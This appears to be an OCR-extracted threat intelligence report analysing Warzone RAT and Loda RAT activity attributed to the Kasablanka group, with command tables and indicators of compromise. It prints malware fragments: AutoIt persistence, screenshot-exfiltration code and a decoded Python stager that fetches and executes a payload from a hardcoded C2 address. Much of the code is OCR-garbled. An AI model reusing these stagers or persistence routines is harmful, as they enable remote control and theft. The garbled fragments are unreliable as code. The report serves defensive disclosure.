Warzone RAT, also known as AveMaria RAT, is a commercial trojan developed in pure C/C++, which has
been sold publicly on the internet as a software subscription since 2018 and is compatible with systems
below Windows 10, with remote desktop, password stealing, keylogging, remote commands, permission
elevation, download execution and many other remote control functions. It has been used by several APT
groups, including Confucius, Bitter, Blind Eagle (APT-Q-98) and other groups .
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This captured Warzone RAT eventually establishes a TCP connection to the server
hbfyewtuvfbhsbdjhjwebfy.net (193.188.20.163) .

10/21



- result = vie;
v !Hlﬁ[:iﬁ] j

*( DWORD *)(sub 1800B541((char *)v16 + 484, (int)v?) + 4);

84, (int)vB);

sub_ 18886EBS5 (w12
wl@ = sub 1
sub_l@eal

sub_ 188

vl = vle + 1;
sub l1eeesfroA(a2, (int)vle);

sub 1888B523(v1l6 + 121);

return |"E-E.I_Jlt H

It has a wide variety of remote control commands, including the following functions. :

Function .
number Function
0x0 Obtain information about the controlled machine
0x2 Get process list information
0x4 Get drive information
0x6 Get directory information
0x8 Retrieving files from the victim device's folder
OxA Delete the specified file
0xC Ends the specified process
OxE Remote shell
0x10 Ends the specified thread
0x12 List the victim's camera device information
0x14 Turn on the camera
0x16 Stop the camera
0x18 Get the title of the active program
0x1A Exit and delete your own files
0x1C Downloading files to the controlled end
0x20 Get browser password
0x22 Download the file from the given URL to the controlled end and execute it
0x24 Online keylogging
0x26 Offline keylogging
0x28 Install HRDP Manager on the victim's device
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Function

number Function
0x2A Enable reverse proxy
0x2C Stop reverse proxy
0x30 Start remote VNC
0x32 Shutting down remote VNC
0x38 Reverse proxy port settings
0x3A Execute or open the specified file
0x48 Injection into the specified process
Ox4A Traversing to get file information
Ox4C I\/{ultiple post-command breakdowns, including shutdown, network test, exit,
etc
Loda RAT

Loda RAT is a proprietary malware written in Autolt script language, first captured and disclosed in the
wild by Proofpoint in September 2016, the name 'Loda’ derives from the malware author's choice of
directory to write keylogger logs to as Loda.Subsequently Cisco discovered multiple variants of Loda RAT
and found that the RAT added spying capabilities to the Android platform. After a series of investigations,
Cisco concluded that the group using the malware was based in Morocco and named the group

Kasablanka (the largest city in Morocco) (1,

Analysis of the captured sample showed that it was written in C# and obfuscated so extensively that
common tools could not decompile it, and added a large amount of 00 data at the end of the PE file,

swelling the entire file size to 741MB.
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s¥vrhost. exe (3

&:0%EQh: 00 00 QO 00 00 ©O0 00 00 00 00 Q0O 0O 00 00 00 00
&:0%FQh: 00 00 QO OO0 00 Q00 00 00 00 00 00 00 00 00 00 00
HO-OLN00 40 86 00 OC 00 00 00 OC 30 00 OQOpEelvaisEmsIvEmels}
&:0R10h: 00 00 QO 0O 00 Q0 00 Q0 Q0 00 Q0 Q0 00 Q0 Q0 00

6:0R20h: 00 00 QO OO0 00 ©O 00 00 00 00 QO 00 00 00 00 00
6:0A30R: 00 00 QO OO0 00 ©0 00 00 00 00 00 00 00 00 00 00
&:0A40h: 00 00 QO OO0 00 ©O 00 OO0 00 00 QO 0O 00 00 00 00
&:0R50h: 00 00 QO 00 00 Q0 00 Q0 Q0 00 Q0 Q0 00 Q0 Q0 00
6:0h600: 00 00 QO OO0 00 ©O 00 OO0 00 00 Q0O 0O 00 00 00 00

o]

:QATOR:| 00 00 00 00O 00 00 00 00 0O 00 00 00 00 00 00 00
:QA80R: 00 00 00 0O OO0 00 00 00 0O 00 00 QOO0 00 00 00 00

6:0R90h: 00 00 QO 00 00 Q0 00 Q0 Q0 00 Q0 QO 00 Q0 00 00
6:0nM0H: 00 OO0 QO 00 00 €O OO0 Q0 00 00 QO 0O 00 €0 Q0 00
&:0ABOR: 00 00 QO OO0 00 ©O0 00 00 00 00 Q0 00 00 00 00 00

O 0 0 o 0 0 0 0 E6 OO0 £0 £0 00 0 0 0 o6 o0 OO0 €0 o0
(]

&:0ACQR: 00 00 QO OO0 00 ©O 00 OO0 00 00 00 00 00 00 00 00
6:0ADOR: 00 0C Q0 00 00 OO0 00 00 Q0 00 00 OO0 OO0 00 00 00
&:0REQh: 00 00 QO 00 00 €0 00 00 Q0 00 QO QO 00 Q0 Q0 00
6:0AFOh: 00 00 QO OO0 00 ©O0 00 00 00 00 Q0 00 00 00 00 00
6:0B0OQR: 00 00 QO OO0 00 ©O0 00 00 00 00 00 00 00 00 00 00
&:0Bl0h: 00 00 QO OO0 00 ©O0 00 00 00 00 00 00 00 00 00 00
&:0B20h: 00 00 QO 00 00 QO QOO0 Q0 Q0 00 QO QO 00 Q0 Q0 00

Template Results — EXE. bt

Hame ¥alne Start Siza
struct IMAGE_DDS_HEADEE DosHeader oh 40h
struct IMAGE_DOS_STUE DosStub 40k 40k
struct IMAGE_NT HEADEES NtHeader S0h FSh
struct IMAGE_SECTIOH_HEADER SectionHeaders[5] 175h csh
struct IMAGE_SECTION_DATA Section[0] “Wzk [ 400h 201E00kL
struct IMAGE_SECTIOH_DATA Section[1] . text Z0zza0h GRIEQOL
struct TMAGE_SECTION DATA Section[Z] .rEre SE0000R S00k
struct IMAGE_SECTIOH_DATA Section[3] 8608000 200k
struct IMAGE_SECTION _DATA Section[4] _reloe BE0ADOR 200k
struct IMAGE_IMPORT_DESCEIFTOER ImportDeseriptor meeores, d11 202E3Ch 4zh

“ =truct BASE_RELOCATION TABLE RelocTable Ch

After execution, the sample first releases and executes the Loda RAT packaged with Autolt in the
%appdata% directory, and the Autolt script can be restored by using the deep analysis function of
QiAnXin's Threat Intelligence Center Cloud Sandbox, and the behavior and functions of the trojan can be
seen by analyzing the script.

DO00DDOF 00000011 00000012 00000073
00000009 00000001 0000000 00000002
00000003 00000004 D000DOT4 0000000
00000014 0000006 D0000D0D 00000034
00000039 00000017 AV
AUTOITEI
ENDIF SRR

$IPSD="185.181.165.188"
$PORSD="443" s=bEzs

$ARCHX=@OSARCH

$USECC=RUSERNAM

$0SVERSION=""

LOCAL $TOOOR=FILEGETVERSION("winver.exe")

IF STRINGLEFT(3TOOOR,2)="1@" THEN

$0SVERSION="WIN_1@" h

RHER

Loda RAT first detect antivirus products installed on victim machines through WMI commands.
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_getav()
$larrayg[2]
$larray8[e]

fowmi =
If IsObj($owmi) Ther
$colitems = $owmi.execquer
If NOT IsObj($colitems) Then Re
For $objantivirusproduct In $colitems
$larray2[@] = $objantivirusproduct.displayname
$larray8[1] = $objantivirusproduct.productstate
$avstatusg = Hex($larray8[1])
If StringMid($avstatusgd, 5, 2) = "18" OR StringMid($avstatuss,
$larray8[1] "Enabled”
Else
$larray8[1] =
EndI+
If $larrayg[@] =
$larray8[e]
$larray8[1]
EndI+
ndIf
leturn $larray8

Followed operation is collecting some information of victim host, including permissions, operating system

version, etc.
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If IsAdmin() Then
$vicname = "Admin”
EndIf
$qlits 12
$resxo = 1
$deskheght = @DesktopHeight
$deskwidh = @DesktopWidth
It FileExists(@AppDataCommonDir & "‘\Microsoft\Wlansvc™) Th
$dexcz = "Laptop”
Else
$dexcz = "Desktop”
EndIf
$ipsd =
$porsd
$archx
fusecc = @UserName
%osversion = ""
$tooor = FileGetVersion{ "winver.exe™)
It Stringleft($toocor, 2) = "18" Then
$osversion = "WIN 18"
ElseIf Stringleft($tooor, 2) = "11" Then
$osversion = "WIN_11"
Else
$osversion = @05Version
EndI+

And adding persistentence by creating %appdata%)\Windata\svshost.exe and NFOKQN.Ink shortcut to
svshost.exe in windows startup directory.

$betabta = "beta”
$hosts = @WindowsDir & "\system32\Drivers\etc\hosts”
$ddfdzty = 1
$uuxxx = ""
$uu = "
$casxx
If NOT FileExists(@StartupDir & "\NFOKQN.Ink"} Then

EndIf
$khertx = "HKCU\Software\Mi
If RegRead($khertx, "N N " Then
RegWrite($khertx, FOKQN™, "REG_SZ", $vvahk & @AppDataDir & "\Windata\svshost.exe" & $vvahk)
EndIf
$pidx = "~
$pid2 = "~

Uploading the collected information and then takeing screenshots.




If _ispressed
$clis = $cl
_screencapti jpequality(4e)
It $fdd 1 Then
encapture_capturewnd($mons & "\" & @MDAY & "-" & @MON & "-" & @YEAR & "/(Click " & $clis & ") " & $stextzw & ".jpg", $actw)

_screencapture_capture($mons & "\" & @MDAY & "-" & @MON & "-" & @YEAR & "/( k " & $clis & ") " & $stextzw &
EndIf
Sleep(5@8)
TCPSend($r, "Monit it" & @UserName & "Str” & $vicname & "bdt" & $seconx[2]
dIf
Else
If $ssaevv > 4008

ipgquality(4e)

en

_screencapture_capturewnd($mons & "\" & @MDAY & "-" & @MON & "-" & @YEAR & "/" & $stextzw & "
reencapture_capture($mons & "\" & @MDAY & "-" & @MON & "-" & @YEAR & "/" & $stextzw &

$beginxc = TimerIn
TCPSend($r, "Monitc t" & @UserName & "Str" & $vicname & "bdt" & $seconx[2] & "/*"
EndIf
EndIf
$ffzete = TimerInit()

Subsequently enter the remote control loop, by processing the data returned by C2, and then correspond
to the detailed remote control instructions, and its remote control instructions divided into a relatively fine

function, rough statistics have 144 remote control instructions, due to the reasons of space, we will not do
a detailed introduction, a general overview of its remote control functions.

e Recording

¢ Upload and download files

o Execute the specified file

e Shutdown

¢ Close the specified process

e Stealing user cookies, passwords

e Turn on keylogger

o Delete keylogger data

¢ Download and execute the file from the specified URL
o Get file or directory size

¢ Allow RDP connections by modifying the registry

e Compressing/uncompressing files

e Copy files or directories

e Enumerate connected drives

e Enumerate hot folder locations

e Detect UAC settings

¢ Send mouse clicks (to the left or right is a separate command)
e Capture screenshots and send to C2

e Open/close CD trays

e Recording

e Turn off Windows Firewall

¢ Send the name of running processes to C2

¢ EXxit, uninstall

e Create a GUI chat window to save the victim/attacker conversation to a file
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In addition, in the previous version, LodaRAT downloaded SQLite3.dll from the official Autolt website
because it was needed to extract sensitive information from the browser database, but the embedded
URL had been unavailable for download. So in the latest version, the Kasablanka group transcoded it
directly to hex, embedded in in the script.

__sqlite download sqli
furl = "ht 1 | i 3" & $version
$ret
If @AutoItX64 = @ Then
$ret = InetGet($url & ".d11", $tempfile, 1)
Else
$ret = InetGet($url & " dll”, $tempfile, 1)
EndIf
$error = @error
Time($tempfile, _ sqlite_inline_modified(), ©)
n Seterror($error, @8, $ret)

_ sqlite_print($s
If $g_sprintcallback sqlite Then
If $g_butfie qlite Then
$tstr _sqlite stringtoutf uct($stext)
Call($g_sprintcallback_sqlite, Dl1StructGetData($tstrd, 1))

Else
Call($g_sprintcallback_sqlite, $stext)
EndIf
EndIf

) )
o008 8800000

Association & Attribution

In C2:193.149.129.151, we trace back to Trojan "systeml.dll", written in C# and only 8.5KB in size, whose
function is to download WinScp tools to synchronize files with remote computers and set scheduled tasks
to persist, making it a potential backdoor.
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udeEmptyDire

(mill:
Client

(*CHD.

In another C2: 179.60.150.118, we associate two files packaged by Pyinstaller, both of them are
downloaders and have the same core code.

1 import socket, zlib, basesg4, struct, time, ctypes, platform, reguests, setuptools, random, regex
exec( import (' ) .béddecode (_ import ( ') .getencoder (" 3
!

After Base64 decoding, you can clearly see that by requesting port 443 of 179.60.150.118 to get the
follow-up payload to execute, and the payload is Warzone RAT or CS Trojan.
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B length: 411 —
Recipe gl iy inpu e +O8 e =

allwb3J8IHNvY2t1dCx6bGlilGIhc2U2NCxzdHI1Y3QsdG1tZQpmb3IgeCBpbiBy YWSNZSgxMCkeCgl@cnkeCgkIcz1zb2NrZXQuc28ja2veKDIsc29ja2veL1N

PQatfUIRSRUFNKQoICXMUY29ubmyjdCgolzE30542MCAxNTAUMTE4TyweNDMpKQoICWIyZWFrCgl1eGN1cHOECgkIdG1tZ552bGV1cCglKQpsPXNBcnyidC51bn

BhY2s501z513yxzLn]1Y3YoNCkplizBdCmQOCySyZWN2KGWpCndoakx1IGx1bihkKTxs0gelZCs9cy SyZWN2KGWEbGVUKGQPKQpleGY jKHp saWIuZGVjb21wemVze
- yhi¥XN1NjQuYjY8Zavjb2RIKGQPKSX7I3MNONNIKQo

From Base64
A-Za-20-9+/=

Remove non-alphabet chars D Strict mode

time: 3ms

Output e 3 @0 M@

import socket,zlib,basef4,struct,time
for x in range(1e):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('179.60.150.118",443))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4)}[8]
d=s.recv(l)
while len(d)<l:
d+=s.recv(1-len(d))
exec(z1lib.decompress(base64.b64decode(d)),{ s " :5})

Some security vendors believe that Loda RAT is the exclusive trojan of Kasablanka group, but since Loda
RAT is compiled from Autolt scripts and its source code can be obtained by decompiling it, 'false flag'
activities by other threat actors using the decompiled source code are also possible.

In terms of attack motivation, we believe that the purpose of this attack is mainly for information gathering
and espionage. Considering the current situation between Russia and Ukraine, intelligence spying and
espionage are more in line with the motivation of nation-sponsered hacker groups, so we attribute this
attack to Kasablanka group with moderate confidence.

Summary

In previous disclosures of the Kasablanka group's operations, its targets included Bangladesh, South
America and the United States, and its Loda RAT includes Windows version and Android version.Now
this group often uses commercial RATs in its attack activities, which not only reduces the development
cost but also makes it difficult for tracing attackers’ footprints.

The RedDrip team would like to remind all users not to open links of unknown origin shared by social
media, not to click on email attachments from unknown sources, not to run unknown files with
exaggerated titles, not to install APPs from informal sources, to back up important files in a timely
manner, and to update and install patches.

If you need to run or install an application of unknown origin, you can first identify it through the QiAnXin
Threat Intelligence File Deep Analysis Platform (https://sandbox.ti.gianxin.com/sandbox/page). At
present, it supports deep analysis of files in various formats including Windows and Android platforms.

Currently, a full line of products based on the threat intelligence data from the QiAnXin Threat Intelligence
Center, including the QiAnXin Threat Intelligence Platform (TIP), SkyRock, QiAnXin Advanced Threat
Detection System, QiAnXin NGSOC, QiAnXin Situational Awareness, etc., already support the accurate

detection of such attacks [2].
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MD5
4d75d26590116a011cbebb87855f4b4f
574e031a4747d5e6315b894f983d3001
56d1e9d11a8752e1c06e542e78e9c3e4
db9f2d7b908755094a2a6caa35ff7509
8f52ea222d64bbc4d629ec516d60cbaf
c3b3cb77fcec534763aa4d3b697c2f8c
9ea108e031d29ee21b3f81e503eca87d
23d5614fcc7d2c54ed54fb7d5234b079
6be3aecc5704c16bf275e17ca8625f46
e4a678b4aa95607a2eda20a570ffb9e1
11ed3f8c1a8fce3794b650bbdf09c265

8a548f927ab546efd76eeb78b8df7d4c
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6d710d1a94445efb0890c8866250958¢e
6b42e4cSaecd592488c4434b47b15fbb
d82743e8f242b6a548a17543c807b7b0
32a0a7fa5893dd8d1038d1d1a9bc277a
bd5c665187dfb73fc81163c2c03b2ddf
a07c6e759e51f856¢c96fc3434b6aaof8
0dcd949983cb49ad360428f464c19a%e
87125803f156d15ed3ce2a18fe9daz2b8
4f7e2f5b0f669599e43463b70fb514ad
00b9b126a3ed8609f9c41971155307be
C2

179.60.150.118

45.61.137.32

89.22.233.149

193.149.129.151

193.149.176.254

Reference Links

[1] https://blog.talosintelligence.com/kasablanka-lodarat/

[2] https://ti.gianxin.com/
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